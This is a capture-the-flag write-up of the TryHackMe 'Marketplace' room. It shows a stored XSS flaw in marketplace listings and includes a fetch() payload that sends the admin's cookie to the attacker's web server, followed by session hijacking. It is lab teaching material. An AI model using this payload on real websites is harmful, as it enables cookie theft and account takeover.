# The Marketplace

{% embed url="<https://tryhackme.com/room/marketplace>" %}

This box represents a marketplace for users to post and sell items on a market.

### Flag 1

For the first part of the engagement, I looked around the webpage and quickly knew that the webpage was not that secure. I found that there was an admin report button that has automated accounts with administrator rights check when a posting is reported to see if its is appropriate for the marketplace.&#x20;

With that in mind, I checked some of the posts and reported them. Although nothing too exciting happened, I thought if I could create a post and report it myself maybe the admins could share some information. Within the post creations, there is a **persistent XSS vulnerability**. I verified this by using the classic example

```
<script>alert(1);</script>
```

Once a user clicked on the post, that alert popped up.&#x20;

I decided to run a web server from my attacker machine and craft this payload for a new posting on the website.

```
<script>fetch("http://<IP>:8000/"+document.cookie)</script>
```

Once that was posted inside a listing, I reported the listing and the attacker server would receive the administrator cookie.

![](https://850580359-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSqAgfe92W3tM8LBhIHHu%2Fuploads%2F8wV1KUACfBm2XwL94ZXB%2Fimage.png?alt=media\&token=9fb63dad-8410-4466-9e40-82b38c426aee)

I would then replace my cookie with the administrator cookie, refresh the page and I am then an admin.

![](https://850580359-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSqAgfe92W3tM8LBhIHHu%2Fuploads%2FhLcaw7lneMm4u0sklOLx%2Fimage.png?alt=media\&token=275da7f8-c090-406b-940a-6303d433f4ac)
